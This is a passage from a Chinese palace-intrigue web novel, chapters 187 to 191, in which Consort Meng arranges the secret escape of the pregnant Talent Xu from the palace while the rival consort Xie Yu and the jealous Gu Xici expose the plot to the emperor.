阿孟闭上眼睛,声音疲惫:“臣妾无甚奢求,只盼皇上让臣妾好生歇息。”
“爱妃身子不适?”墨司渊眉头微皱,关切之意溢于言表。
阿孟睁眼,看着近在咫尺的他,忽然有种说不出的苦涩。这个男人,曾是她最爱的人,也是让她家破人亡的刽子手。如今他装出一副深情模样,不过是另有所图罢了。
“皇上日理万机,臣妾不敢耽误。”她神色淡然,“再者,臣妾确实累了,还请皇上体恤。”
她言外之意已然明显——请你离开。
墨司渊似是听出她的疏离,眼中闪过一丝不易察觉的失落。
他缓缓起身:“既然如此,朕便不打扰爱妃了。明日朕再来看你。”
待墨司渊离去,阿孟才长舒一口气,眼底浮现出深深的疲倦。无论是面对墨司渊的试探,还是周旋于宫廷权谋之间,都让她心力交瘁。
“娘娘。”云珠轻声进来,“药已送到,徐才人托奴婢谢娘娘救命之恩。”
阿孟微微点头:“辛苦了。”
“娘娘,这计划真能成吗?”云珠忧心忡忡,“若皇上怀疑…”
“无妨。”阿孟闭上眼睛,声音坚定,“这宫中,我们别无选择。”
云珠欲言又止,最终只是轻声应了,吹熄了灯火。殿内陷入一片黑暗,唯有阿孟的眼睛,在夜色中泛着冰冷的光芒。
晨光微亮,宫门大开。
第二天一早,徐才人被送入冷宫的消息如风般席卷整个后宫。阿孟站在苔蘅殿的窗前,纤指轻抚窗棂,眸中闪过一丝释然。
一个有孕的妃子被打入冷宫,在外人眼中,已是彻底失势,再无翻身可能。
接下来,就是筹谋如何将徐才人与腹中胎儿平安送出皇宫了。
待墨司渊上朝后,阿孟立即召来云珠,轻声吩咐道:“速去寻贺景行与顾凛鹤,让他们尽快与徐掌柜接洽。”
“娘娘,此事若被发现…”云珠面色微紧,声音压得极低。
阿孟眸光一冷:“不会有问题。徐掌柜必须明白,一旦事成,他与女儿须立刻离京,隐姓埋名。墨司渊此人,就算不喜徐才人,也决不允许任何人从他手中夺走什么。”
“奴婢明白。”云珠恭敬应下,迟疑道,“只是,皇上那边…”
“无需担忧,我自有分寸。”阿孟递过一块精巧的令牌,“带上它,直接找贺景行。速去速回。”
“是。”
云珠藏好令牌,趁着宫中交班之际,悄然出宫。
伤病所内,贺景行正为一名伤患包扎伤口。自从上次云珠来过后,便再无消息,这让他心中忧虑不已。每日诊治的间隙,他总会望向宫墙方向,忧心忡忡。
“贺大夫,伤口是不是很严重?”伤患因他凝重的神情而担忧。
贺景行回神,立刻微笑道:“无妨,只是皮外伤。好好静养,不出半月便可痊愈。”
他刚送走伤患,便见云珠匆匆赶来,不禁一喜:“你终于来了!阿孟可好?”
云珠四下张望,确认无人后,方才道:“娘娘一切安好,只是…”她压低声音,“徐才人已被送入冷宫,娘娘说可以开始准备送她出宫的事了。”
“当真?”贺景行眼中闪过惊喜,随即又转为忧虑,“墨司渊那边如何?他可有察觉什么?”
云珠摇头:“暂时未见异常。娘娘让我转告贺大夫,速去找顾凛鹤商议,再尽快与徐掌柜接洽。”
“好!我这就去。”贺景行脱下白袍,匆忙披上外衣,眼中浮现坚定之色,“你回去告诉阿孟,一切有我安排。让她多加小心,那墨司渊精明如鬼,半点破绽都不能露。”
“贺大夫放心,我家娘娘身在宫中多年,深谙其道。”云珠微微颔首。
贺景行苦笑一声:“正因如此,我才更担心。她这般聪明,可偏偏又身陷险境…”
离开伤病所,贺景行直奔顾家
一路上,他心思翻涌,眸光不时闪烁。
阿孟如此冒险,只为救一个素不相识的后宫妃嫔,这般胆识与仁心,着实让他敬佩。
若论医术,他自认高超,然而论胆识与谋略,他与阿孟相比,却仍有不小差距。
云珠虽是宫中女子,心思却较同龄人敏捷得多。她一路匆忙穿行在京城街巷,目光警觉地扫视四周,确保无人跟踪后才拐入一条僻静的小路。
那是一座不起眼的商铺,门外挂着“徐记绸缎”的招牌。云珠调整呼吸,整了整衣衫,抬手推门而入。
店内光线昏暗,一位中年男子正低头清点账目,闻声抬头。他先是一怔,继而眸中闪过一丝警惕。
“姑娘是来买绸缎的?”徐掌柜面上挂着商人的谦和笑意,眼中却布满戒备。
云珠环顾四周,压低声音道:“徐掌柜,奴婢是孟贵妃宫中人,特来传话。”
听闻此言,徐掌柜眼中的戒备瞬间转为紧张,他起身将门帘放下,回身时已是满面焦虑:“小女她…可还安好?”
云珠点头:“徐才人已安置在冷宫,一切按计划进行。娘娘让奴婢告诉您,做好准备,待皇上不再关注此事,便会安排人送徐才人出宫。”
“感谢菩萨保佑!”徐掌柜双膝一软,跪倒在地,额头紧贴地面,“多谢孟贵妃娘娘大恩,徐某此生难报。”
“徐掌柜快请起!”云珠惊慌上前搀扶,“此处不是行礼之地,若被旁人见了,恐生事端。”
徐掌柜拭去眼角泪水,颤声道:“老夫只有这一个女儿,自从她入宫,老夫日日提心吊胆。如今得知她有望脱险,如何不激动?”
“徐掌柜,事情尚未成功,还请谨慎。”云珠看了看门外,语速加快,“娘娘说了,事成后您与小姐须立即离京,越远越好。墨司渊此人城府极深,就算不喜徐才人,也断不容他人从手中夺走任何东西。”
徐掌柜面色一肃:“老夫明白。已在南方置办了产业,只等小女出来,立刻远走高飞。”
云珠暗自点头:“娘娘说,千万小心行事,不可走漏风声。”
第187章 一切妥当
“请孟贵妃娘娘放心,徐家上下,无人敢多言半句。”徐掌柜握着拳头,眼神坚定,“只盼事成之日,能当面向娘娘叩谢救命之恩。”
“事不宜迟,奴婢告退。”云珠微微欠身,正欲离去。
徐掌柜却突然叹道:“听闻孟贵妃也是身陷囹圄,为何还要冒险救我女儿?”
云珠停下脚步,回头轻声道:“我家娘娘说,同是天涯沦落人,更要相互扶持。”
徐掌柜眼眶再度湿润:“好一个‘同是天涯沦落人’,徐某铭记于心。”
告别徐掌柜,云珠匆匆往伤病所赶去,心中却记挂着阿孟的嘱托和安危。
与此同时,贺景行已到达顾府。管家将他引至后院书房,顾凛鹤正在研读兵书,见他到来,立即放下书卷起身相迎。
“景行兄!”顾凛鹤眼中闪过喜色,上前紧握贺景行的手,“许久不见,可有阿孟的消息?”
贺景行面露疲色:“好消息与坏消息都有。坐下细说吧。”
二人入座,贺景行接过侍女奉上的茶盏,轻抿一口,徐徐道来:“阿孟在宫中尚算安好,计划也进行得顺利。徐才人已入冷宫,正是我们接应的好时机。”
“这是好事。”顾凛鹤眉头却仍紧锁,“那坏消息呢?”
贺景行叹息:“墨司渊对阿孟的防备与试探从未停止,我担心她身在险境,步步为营之下难以脱身。”
顾凛鹤眼中掠过一丝恨意:“墨司渊此贼,对阿孟害之不尽,还要如此折磨于她!”
“此事我们外人难以插手。”贺景行眼中闪过忧虑,“只能静待时机,助她逃出那座金丝笼。”
顾凛鹤握紧拳头:“难道就这样看着她独自承受?我恨不能率兵破宫,将她救出!”
“莽撞行事只会害了她。”贺景行沉声道,“阿孟计划周详,我们贸然行动反会坏事。当务之急,是准备接应徐才人出宫的一切事宜。”
顾凛鹤深吸一口气,压下心中怒火:“你说得对。阿孟向来稳重,既然她有计划,我们便静待时机。你需要我做什么?”
“准备一支精干的队伍,随时待命。”贺景行面色凝重,“一旦时机成熟,必须迅速行动,保证万无一失。”
顾凛鹤郑重点头:“此事交给我。还需要什么?”
“足够的银两和干粮,以及能掩人耳目的马车。”贺景行眼中透着坚定,“阿孟说,一切只争朝夕,不容有失。”
“明白。”顾凛鹤眼神坚定,“为了阿孟,我们必须确保万无一失。”
二人相视一眼,眼中都是对阿孟的关切与担忧。
庭院方寸,暗香浮动。
顾奚慈早已从寝房悄然而出,躲在庭院后侧的回廊下,凝目注视着书房中的两个身影。
自那日表明心迹被顾凛鹤婉拒后,她纵使同住一屋檐下,却再难与他有半分亲近。
“顾兄,你可曾想过若阿孟一直出不来,我们该如何是好?”贺景行放下茶盏,眉头紧锁。
顾凛鹤眼中闪过一丝决绝:“阿孟若在宫中多日无消息,我定亲自入宫,纵使粉身碎骨,也要将她救出。”
“你这般冲动,只怕害了她。”贺景行叹息,“墨司渊那厮多疑成性,我们若轻举妄动,只会让阿孟处境更艰难。”
顾凛鹤手指微颤:“眼看她身陷险境,我却无能为力,此种煎熬,神医可知我心如刀割?”
“我岂不明白?”贺景行正色道,“我身为医者,能救人性命,却救不得她于水火。每每想起,皆是痛彻心扉。”
顾奚慈捏紧了手帕,心中嫉妒如蛇噬心:“凛鹤哥哥为何对那女子如此上心?她是宫中妃嫔,值当你这般牵肠挂肚?”
两人沉默片刻,顾凛鹤忽道:“请派你信得过的人,每日去冷宫附近探视,若有风吹草动,即刻禀报。”
“此事已安排妥当,”贺景行拱手,眼中闪过精光,“宫中眼线已埋,只待时机。”
二人商议妥当,各自离去。顾奚慈见状,心下急切,迅速跟上顾凛鹤的脚步。
城郊破庙,香火寥落。
顾凛鹤跪于佛前,双手合十,低声祷告:“菩萨保佑,阿孟平安。”
顾奚慈心头疑窦丛生,正欲上前,背后却突然寒光闪现。
“表妹为何鬼鬼祟祟,尾随于我?”顾凛鹤的声音冷若冰霜,长剑架在她颈间。
“凛鹤哥哥!”顾奚慈惊惶失措,俏脸煞白,“是我,我只是担心你,才……”
“担心我?”顾凛鹤冷笑一声,收剑入鞘,“还是别有居心?”
顾奚慈委屈道:“哥哥近日神色反常,时常独自出门,我如何不忧心?”
“我的事,不用你挂心。”顾凛鹤态度冷淡,“回去吧,此地不是你该来之处。”
“哥哥为何对我如此冷漠?”顾奚慈眼眶微红,“自幼一起长大,你我情同手足,如今却对我避之不及……”
“情同手足?”顾凛鹤神色复杂,“表妹心中所想,我岂能不知?你我本就非亲非故,不过是机缘巧合住在同一屋檐下罢了。”
顾奚慈心如刀绞:“是因那孟贵妃吗?她有何好?”
“住口!”顾凛鹤厉声喝道,眸中寒光乍现,“你若再出言不逊,休怪我不念兄妹情分!”
顾奚慈委屈落泪:“哥哥心中,从未将我当做女子看待,是吗?”
顾凛鹤叹息一声:“表妹,你我之间,本就不该有那等情愫。你若执意妄想,只会自寻烦恼。”
“自寻烦恼?”顾奚慈语带讥讽,“若她不是孟家女,哥哥还会如此上心吗?”
顾凛鹤目光如炬:“阿孟于我而言,岂止是孟家女?她胸怀天下,眼中有光。即便她出身市井,我亦愿为她赴汤蹈火!”
“哥哥!”顾奚慈气得浑身发抖,“她如今被困宫中,怕已成了皇上的玩物,你竟还对她念念不忘?”
顾凛鹤冷笑:“你与谢妤来往密切,今日之言,莫非是为她试探?”
顾奚慈面色骤变:“我、我没有……”
“回去吧。”顾凛鹤转身欲走,“若你真有半分顾家血脉,就莫要做出有辱门风之事。”
第188章 以己度人
顾奚慈握紧双拳,指甲深陷掌心:“哥哥如此护她,若有朝一日她与他人双宿双飞,你又当如何自处?”
顾凛鹤脚步微顿,却未回头:“只要她平安喜乐,我顾凛鹤,无怨无悔。”
说罢,他大步离去,背影决绝。
顾奚慈跪在尘土中,泪流满面。
她心中恨意渐浓:“阿孟,我定不会让你好过!”
城中一处小院,贺景行安排多人分头行事,各自领命而去。
他抬头望向皇宫方向,眼中满是担忧:“阿孟,你且坚持,我们一定会想办法救你出来。”
确认身后无人跟踪,顾凛鹤这才快步前往城外的客栈。
刚入院落,李掌柜便迎了上来,躬身行礼。
“顾将军,可盼到您了!”李掌柜面带焦虑,“商队三日后便要启程,那位宫中娘娘可有消息?”
顾凛鹤摆手示意他压低声音,二人入内雅间落座。
“李掌柜莫急,宫中有变,故而拖延。”顾凛鹤声音低沉,“这次是真的准备妥当了。不过随行的,还会有徐掌柜一家。”
“徐绸缎的徐掌柜?”李掌柜眉头一挑,略作思忖后点头,“无妨,正好商队里有几辆货车,可掩人耳目。路线已安排妥当,定不会被发现。”
顾凛鹤从怀中掏出一个沉甸甸的钱袋放在桌上:“这是定金,事成后还有重谢。”
“这使不得!”李掌柜连连摆手,“顾将军帮过小店大忙,这点小事何须……”
“李掌柜且收下。”顾凛鹤坚持道,“此事非同小可,若有不测,可能会连累你全家。这些银子,就当是我的一点心意。”
李掌柜叹了口气,终究没再推辞:“既如此,李某便收下了。顾将军放心,定当竭尽全力。”
告别李掌柜,顾凛鹤踏上归途。站在城墙边,他遥望皇宫方向,心中一阵苦涩。
“阿孟……”他喃喃低语,“你何时才能如徐才人般脱离苦海?”他握紧了腰间的佩剑,眼中闪过决绝之色,却又很快黯淡下来。若轻举妄动,只怕会害了她。
伤病所内,云珠正焦急踱步。见贺景行推门而入,她立即迎上前去。
“贺神医,如何了?”云珠急切问道。
“一切已安排妥当。”贺景行神色凝重,“只等娘娘一声令下。”
“太好了!”云珠眼中闪过喜色,旋即又担忧起来,“只是奴婢出来太久,恐怕皇上已回宫了。”
“你快回去吧,小心行事。”贺景行嘱咐道,“若有变故,立刻派人来报。”
“奴婢明白。”云珠福了福身,匆匆往宫中赶去。
云珠赶回皇宫时,正巧遇到官员们下朝。
她看到墨司渊的御辇远去的方向,心知已来不及抢先回苔蘅殿,索性在后面慢悠悠地跟着。
“罢了,先去厨房走一趟。”云珠暗忖,趁着宫人不注意,溜进厨房,从灶台上倒了一盆热水。
苔蘅殿内,阿孟正靠在软榻上阖目小憩。墨司渊进来后,便坐在她身旁,静静注视着她的睡颜。
“皇上来了?”阿孟假装刚被惊醒,睁开眼睛,端坐起身。
“爱妃休息吧,朕不过是来看看你。”墨司渊嘴角勾起一抹笑,眼中却闪着探究的光芒。
就在这时,云珠端着水盆进来,面带笑容:“娘娘,热水已备好,请您趁热泡脚,免得着凉。”
阿孟心下了然,面上不动声色:“放在这里吧。”
“皇上也在呢,真是巧了。”云珠笑道,“天气转凉,娘娘每日都要泡泡脚,这是奴婢伺候的规矩。”
墨司渊眉头微皱,总觉二人神色间有异,却又说不出哪里不对。
“皇上不介意吧?”阿孟微笑着问,手指轻轻点着水面,“臣妾这个习惯,已保持多年了。”
“爱妃的习惯,朕岂会介意。”墨司渊勉强笑道,让开了位置,却仍紧盯着云珠的一举一动。
云珠小心翼翼地伺候阿孟泡脚,动作熟练而自然。“娘娘,今日药浴也已准备好了,待会儿奴婢服侍您沐浴。”
“嗯。”阿孟点头,抬眸看向墨司渊,“皇上若无要事,臣妾想先沐浴更衣。”
墨司渊深深看了她一眼,缓缓起身:“也好,朕还有些政务要处理。晚些再来看你。”
待墨司渊离开,阿孟立刻放下了伪装,紧张地问:“如何?可有消息?”
“一切已安排妥当。”云珠低声回答,“贺大夫和顾将军都说,只等娘娘一声令下。”
阿孟长舒一口气:“好。徐掌柜那边呢?”
“徐掌柜已准备好南下的产业,只待女儿出宫,立即远走高飞。”
“很好。”阿孟眼中闪过坚定的光芒,“静待时机,再做打算。”
“娘娘……”云珠犹豫片刻,终于忍不住问道,“您何时才能离开这座牢笼?”
阿孟看向窗外,眼神悠远:“一切都会好起来的,云珠,再忍耐一阵子。”
“娘娘,奴婢担心皇上会起疑心。”云珠小声说道,手指绞着衣角,眉头紧蹙。
阿孟沉吟片刻,长叹一声:“方才的水倒了吧,我们不能有半点闪失。”
“是,奴婢这就去。”云珠端起水盆,轻手轻脚地退了出去。
朝露宫内,谢妤颤抖着指尖触碰额头,一阵钝痛袭来,她咬紧牙关。
寝殿空空荡荡,不见旁人身影。往日墨司渊每次过来,总能让她感到几分安心,如今却连日不见。
“贱人阿孟,竟敢抢我的男人!”谢妤嘶声低语,指甲深深嵌入掌心。
她勉强撑起身子,靠在床头。从前高高在上的贵妃之位,如今竟也摇摇欲坠。
没有龙嗣,没有皇帝的宠爱,皇后之位更是渺茫。
“不能这样下去。”谢妤眼中闪过一丝狠厉,咬牙道,“我得想个法子接近司渊。”
正当此时,殿外传来红豆急促的脚步声。
“娘娘,顾小姐求见。”红豆立在门口,轻声禀报,“奴婢已经告诉她您身子不适,要不要让她改日再来?”
谢妤眼珠一转,唇角勾起一丝冷笑:“请她进来。”
“可是娘娘您的身子——”
“我说,请她进来。”谢妤打断红豆的话,语气冷了几分。
不多时,顾奚慈踏入寝殿。
她一见到谢妤,双眼顿时浸满泪水,跪地便哭。
第189章 顾家秘密
谢妤见顾奚慈跪地落泪,一阵烦躁涌上心头。她本就身子不适,如今又要应付这般哭哭啼啼,如何不恼?
“够了!”谢妤厉声喝止,声音虽然虚弱却不失威严,“顾小姐,本宫不喜欢见人哭哭啼啼。”
顾奚慈立刻噤声,擦去泪水,抬起头来,眼中虽含泪光却努力维持着大家闺秀的体面。
“臣女失态,请娘娘恕罪。”顾奚慈柔声道,“只是臣女实在是、实在是忍不住了……”
“有什么事,直说便是。”谢妤不耐烦地摆了摆手,“本宫没工夫听你哭诉。”
顾奚慈咬了咬唇,眼神中流露出委屈与不甘:“娘娘,那孟贵妃……她实在是太过分了。臣女虽与兄长同住一屋檐下,却处处不如她。兄长视她如珍宝,对臣女却日渐疏远。”
她顿了顿,声音微颤:“她分明就是个狐媚子,只会勾引男子罢了!从前迷惑我兄长,如今又勾了皇上的魂去。”
谢妤闻言,瞳孔陡然收缩。孟贵妃勾引墨司渊?这话正戳中她的痛处。想到墨司渊连日不曾踏足朝露宫,只宿在苔蘅殿,谢妤心头一股怒火燃起。
“那**……”谢妤握紧拳头,咬牙切齿。
话未说完,一阵剧痛突然从头部袭来,谢妤痛苦地呻吟一声,脸色倏地煞白,额头沁出细密的汗珠。
“娘娘!”顾奚慈惊呼一声,连忙起身欲上前搀扶。
“红豆!快拿药来!”谢妤虚弱地喊道,一手扶着床沿,一手按着太阳穴,眉头紧皱。
红豆早有准备,迅速从柜中取出药瓶,倒出一粒药丸,递到谢妤手中。谢妤急忙服下,靠在床头闭目调息。
顾奚慈站在一旁,脸上露出担忧之色:“娘娘可还好?是臣女唐突了。”
红豆轻声解释:“小姐莫怕,我家娘娘这段时日身子不适,稍有情绪波动便会头痛发作。”
顾奚慈闻言,目光中闪过一丝了然。她默默注视着谢妤苍白的面容,心中思绪翻涌。难怪近来后宫风波不断,而谢贵妃却不见踪影,原来是病了。
谢妤稍微缓过气来,睁开眼睛,目光阴沉地望着虚空。病痛折磨得她明白一个道理——照这样下去,自己只怕要彻底失宠了。
“这段时日我卧病在床,那**正好趁机勾引皇上。”谢妤冷笑道,“她以为本宫就此倒下,她便能顺利登上皇后宝座?做梦!”
顾奚慈惊讶地睁大眼睛:“娘娘的意思是……”
“我只是暂时不能下床罢了。”谢妤眼中闪过一道寒光,“待我拿到那**的药方,治好自己的病,便要亲手除掉她,永绝后患!”
顾奚慈闻言,眼中闪过一丝欣喜,连忙拜倒:“娘娘英明!那孟贵妃若是不除,只怕将来必成大患。”
谢妤满意地点点头,却又想起什么,挑眉问道:“说起来,你来寻我究竟为何事?无事不登三宝殿,你不会真只是来告状的吧?”
顾奚慈抬起头来,嘴角勾起一抹神秘的微笑:“回娘娘,臣女确实有要紧事禀报。臣女在府上探听到一些关于徐才人的重要消息。”
“徐才人?”谢妤眼中闪过一丝兴趣,身子不自觉地前倾,“说来听听。”
顾奚慈整理了下裙摆,小心翼翼道:“回娘娘,臣女昨日无意中看见贺景行寻到我兄长顾凛鹤,两人在院中低声交谈。”
“贺景行?他与你兄长何干?”谢妤来了兴致,身子不由自觉前倾。
“臣女起初也不明白,便躲在花厅回廊处偷听。”顾奚慈佯装疑惑,她压低声音,“他们说…………要商量如何送徐才人出宫。”
“送徐才人出宫?”谢妤眼睛一亮,忽的冷笑出声,“这背后定是那**的手笔!”
顾奚慈眨了眨眼:“娘娘何出此言?”
谢妤顿时警觉,一股恍然大悟之感涌上心头。
“我滑胎后身子虚弱,无力干预宫中事务;皇上又日日宿在苔蘅殿,对那**言听计从。”她眼中闪过一丝狠厉,“最可疑的是,徐才人竟也有滑胎之象,这岂能是巧合?”
“娘娘是说——”
“徐才人腹中胎儿,定是被那孟贵妃动了手脚!”谢
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妤咬牙切齿,“她先使手段害徐才人失宠,再借送往冷宫为名暗中助她逃脱,好一个两全其美的法子!”
红豆在一旁听得心惊肉跳:“娘娘慎言,此事关系重大,若无确凿证据……”
谢妤冷眼一扫:“本宫还需你教?”
红豆立即垂首不语。
顾奚慈见状,眼中闪过一丝喜色:“娘娘英明,臣女也正是这般想的。”
谢妤眉头微皱,思忖片刻后忽然大笑:“天助我也!这**自投罗网,竟敢擅作主张送宫中妃嫔出宫?此罪足够她万死不赦!”
“那娘娘准备如何处置?”顾奚慈试探道。
谢妤眼中寒光一闪:“自是要让皇上知晓此事。来人!”
红豆连忙上前:“娘娘有何吩咐?”
“去请皇上来朝露宫一趟,无论如何也要请来!”谢妤神色激动,一扫方才的病态,“就说本宫有要事相告,事关后宫安危!”
“是,奴婢这就去。”红豆应声退下。
红豆出宫后,立于无人处略作停顿,毫不犹豫地扯乱自己的发髻,又狠狠地扇了自己几个耳光。
顿时,她面颊泛红,眼中含泪,一副受了惊吓的模样。
“为了娘娘,不能有半点闪失。”她暗自咬牙,跌跌撞撞地向苔蘅殿跑去。
此刻苔蘅殿内,阿孟正与墨司渊对坐用膳。
“皇上近日为朝政操劳,应当多加休息。”阿孟声音柔和,夹了一块鱼肉放入墨司渊碗中。
墨司渊目光柔和地看着她:“有爱妃关心,朕再疲惫也值得。”
正说话间,殿外传来一阵急促的敲门声。
“何人在外?”云珠皱眉走向殿门。
周海快步进入内殿,行礼道:“皇上,谢贵妃宫中的红豆姑娘求见,说有要事禀报。”
墨司渊眉头一皱:“不见。”
“皇上,那红豆姑娘看起来极为憔悴,似是遇到了什么急事,一路跪着过来,额头都磕破了。”周海低声补充。
墨司渊眼中闪过一丝疑惑,转头看向阿孟:“爱妃以为如何?”
第190章 捅破真相
阿孟放下筷子,淡然一笑:“皇上不必顾虑臣妾。若谢贵妃有急事,皇上自当前去看看。”
墨司渊沉思片刻,点头道:“那朕去看看究竟何事,你好生用膳,别让身子着凉。”
“臣妾明白,皇上尽管去便是。”阿孟微微颔首,眼中波澜不惊。
墨司渊起身离去,阿孟目送他的背影消失在殿门外,眼底才闪过一丝复杂之色。
云珠轻声走到阿孟身边:“娘娘,您看那红豆……”
阿孟微微摇头:“无妨,朝露宫有变,我们静观其变便是。”
到了门口,墨司渊一双森冷眸子注视着红豆,跟随她向朝露宫而去。
朝露宫内,顾奚慈已悄然藏身于帷帐之后。
谢妤躺在床榻上,一双手紧攥着被角,粗重的呼吸声回荡在寂静的殿内。
听到殿外脚步声渐近,谢妤强撑着虚弱的身子欲要起身。
墨司渊推门而入,见状微微蹙眉。
“皇上…………”谢妤声音虚弱,唇色苍白。
“躺着便是,何必勉强。”墨司渊面无表情地走到床前,目光审视,“何事如此紧急,派红豆前来请朕?”
谢妤咳嗽几声,声音轻柔:“皇上,臣妾要说的事,只能你我二人知晓……”她眼角微红,似是含泪。
墨司渊扫了眼殿内宫女太监,冷声道:“全部退下。”
待屋内只剩二人,谢妤终于缓缓开口,声音中带着几分哽咽:“皇上,徐才人……她其实并非有滑胎迹象。”
“你何出此言?”墨司渊神色微动。
谢妤艰难地咽下一口气,继续道:“这全是孟贵妃一手安排的局。她故意让人散布徐才人小产的消息,为的就是把徐才人送入冷宫后,暗中护送出宫。”
墨司渊眸色渐深:“继续说。”
“她已联合宫外的贺景行和顾凛鹤接应,估摸着就在这几日要动手了。”谢妤看向墨司渊,满目哀戚,“皇上啊,臣妾知道您近来宠幸孟贵妃,但她心怀异志,竟敢私自送宫妃出宫,此罪当诛啊!”
墨司渊心头一颤。
他自然察觉阿孟对自己突如其来的示好不寻常,但他欺骗自己相信那是真情流露。
如今被谢妤当面揭穿,他心中骤然涌起暴怒。
“你在质疑朕的判断力?”墨司渊猛地伸手掐住谢妤的脖颈,目光冰冷,“若是诬陷,即便你是贵妃,朕也绝不手软!”
谢妤被掐得脸色发青,却不挣扎,只是泪水顺着眼角滑落:“臣妾不怕死……只怕皇上……被蒙在鼓里!”
她艰难地挤出几个字:“臣妾对皇上是真心……只想皇上好……”
墨司渊手上力气更大,冷笑一声:“若证实你所言属实,朕自会重重赏你;若是诬告,后果你知道。”
谢妤捂着脖子咳嗽不止,却固执地拉住墨司渊衣袖:“皇上,臣妾身子虽弱,可心中只有您……那孟贵妃心思歹毒,怕是还有……更大的阴谋……”
“够了!”墨司渊甩开她的手,眼神冷酷,“朕自有分寸。”
“皇上……”谢妤忽然抓住墨司渊的手,眼中含泪,“臣妾……臣妾只是担心您啊!那孟贵妃来路不明,突然对您示好,您难道不觉得蹊跷吗?”
墨司渊眸光一冷:“你在教朕如何判断人心?”
“臣妾不敢!”谢妤急忙摇头,“只是……只是臣妾心疼皇上被人欺骗。您对孟贵妃如此厚爱,她却暗地里做这等大逆不道之事……”
墨司渊沉默片刻,眼中闪过一丝复杂:“此事朕会亲自查证。若有人敢在朕眼皮底下玩花样……”他声音冷酷,“朕定要她生不如死!”
“皇上英明!”谢妤松了口气,眼中闪过一丝得逞的光芒,随即又换上柔弱神色,“臣妾身子不适,恐怕说了这么多话已经……”
谢妤的眼泪滴落在墨司渊的手上,墨司渊猛然松开掐着谢妤脖子的手,神色复杂地看着面前这个曾与他共度无数时光的女子。
谢妤轻咳几声,泪眼婆娑,不顾虚弱的身子,倾身扑入墨司渊怀中,声音哽咽:“皇上,无论臣妾
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在宫中受了什么委屈,遭了什么罪,臣妾都不曾怨恨过。唯独不愿看你被人蒙骗,被人暗算。”
“谢妤……”墨司渊的声音罕见地流露出一丝动摇。
谢妤抬起泪眼,声音虚弱却坚定:“臣妾知道自己不如孟贵妃年轻貌美,不如她会讨你欢心,但臣妾的心,从未有一刻不是向着你的。”
墨司渊没有推开谢妤,心中百感交集,厌恶与心疼在胸腔里翻腾。
厌恶她揭穿了自己的自欺欺人,使自己威严尽失;心疼自己付出再多,也换不来阿孟真心相待的半分。
“你太过劳累了。”墨司渊轻叹一声,扶谢妤躺回榻上。
谢妤握住墨司渊的手,声音轻若游丝:“皇上,你总是这般,为别人着想,却不顾自己。”
墨司渊眸色一暗,想起阿孟那双清冷的眼眸,心如刀割。
转而瞥向谢妤,见她苍白的脸上写满了对自己的担忧,一时间情绪复杂。
“周海。”墨司渊转头唤道。
门后立即走出一个高大身影,恭敬行礼:“皇上。”
“去派人密切监视苔蘅殿和冷宫,一切异常立刻报来。”墨司渊沉声道,顿了顿,又说:“另外,告诉苔蘅殿,朕近日会宿在朝露宫,陪谢贵妃调养身子。”
周海面色不改:“是,皇上。”
谢妤闻言,眼中闪过一丝喜色,乖顺地躺在床上。
墨司渊坐在床边,心中一片凌乱。
他想起阿孟温顺的眉眼,明知可能是假象,却仍忍不住想要沉溺其中。
“皇上可是有心事?”谢妤小心翼翼地问道。
“无事,你且好好休息。”墨司渊强压下心中翻涌的情绪,起身走至窗前。
傍晚时分,苔蘅殿内。
周海匆匆步入殿内,对正在品茶的阿孟恭敬行礼:“娘娘,皇上有旨,近日他将在朝露宫陪伴谢贵妃调养身子,让娘娘自行安排起居。”
阿孟放下茶盏,眼中闪过一丝亮光,却不动声色:“有劳公公传话,替臣妾谢过皇上。”
第191章 伪装出宫
周海行礼退下后,阿孟转身回到内室,云珠连忙迎上前。
“娘娘,奴婢总觉得事情不对劲。”云珠压低声音,忧心忡忡道,“皇上怎会突然不来缠着您,转而去看谢妤?这其中定有蹊跷。”
阿孟微微颔首,轻声道:“确实蹊跷。”
“会不会是谢妤那**设计陷害您?”云珠眉头紧蹙。
阿孟手指轻点案几,思索道:“不管她使什么花招,眼下对我们来说,反倒是个机会。”
“机会?”
“徐掌柜那边不能再拖了。”阿孟神色凝重,“若徐才人孩子生下,她身为人母,必然无法轻易离开。我们必须抓紧这个空档。”
云珠明白过来,却仍忧心忡忡:“可如今皇上突然变卦,定是起了疑心。宫中必然会多加防范,我们若此时行动……”
“越是危险,反而越能出奇制胜。”阿孟目光如炬,“墨司渊若真怀疑我们,不会只是不来苔蘅殿这么简单。”
“那我们……”
“立刻传信给贺景行,就说今晚行动。”阿孟站起身,坚定地说,“就算前方是龙潭虎穴,我也要闯上一闯!”
云珠忧心忡忡:“娘娘小心,奴婢怕您有危险。”
阿孟轻轻拍了拍云珠的肩膀:“别怕,这危险之局,正是我闯出一条生路的时机。”
夜色渐深,阿孟示意云珠:“去寻几套太监的衣裳来,今夜便行动。”
云珠很快备好衣物,两人换上粗布太监服,悄然向冷宫潜去。
门前守卫拦住去路,阿孟从袖中取出一锭银子:“劳烦通融。”
守卫眼中闪过贪婪,接过银子后左右看看:“快些,别让人发现。”
步入冷宫内室,徐才人正倚着窗前发呆,见到阿孟,她眼眶瞬间湿润:“贵妃娘娘!”
“嘘——”阿孟轻抚徐才人脸颊,拭去她眼角泪水,“别出声,今夜送你离宫。”
徐才人惊讶地捂住嘴:“如今?真的可以吗?”
“我已安排妥当。”阿孟低声道,“药丸服下了吗?”
徐才人点头:“已经服下,身子好多了。”她下意识抚摸腹部,“孩子也无恙。”
“快与云珠把衣裳换了,”阿孟命令道,“记住,从此刻起,你就是宫女,弯腰低头,不要直视任何人。”
云珠麻利地帮徐才人更衣,轻声道:“娘娘为救你费尽心思,你若平安,便是她最大的安慰。”
徐才人眼中泪光闪动:“贵妃娘娘大恩,臣妾粉身碎骨也难报万一。”
“别说这些。”阿孟神色凝重,“云珠会留下代替你,我带你从御膳房出宫。”
徐才人紧握阿孟双手:“娘娘,若有来世,我愿生生世世为娘娘效命!”
“嘘,时间紧迫,这些话便不必多说了,快走吧!”阿孟低声催促。
云珠已换上徐才人的衣裳,笑道:“娘娘放心,奴婢定会拖延到明日午时。”
阿孟点头:“万事小心,若有变故,立刻引火为号。”
出了冷宫,阿孟带着徐才人穿过幽暗小径,向御膳房方向疾行。
路过花园,徐才人不慎踩断树枝,发出轻响。
“谁?”远处传来侍卫询问声。
阿孟立即拉住徐才人,低声喝道:“蠢货!想害死我们吗?”
徐才人吓得面如土色,阿孟则装作训斥下人:“还不快去打水?厨房还等着呢!”
脚步声渐渐远去,阿孟松了口气:“记住,眼睛看地,不要慌张。”
徐才人低着头,轻声道:“贵妃娘娘,我害怕……”
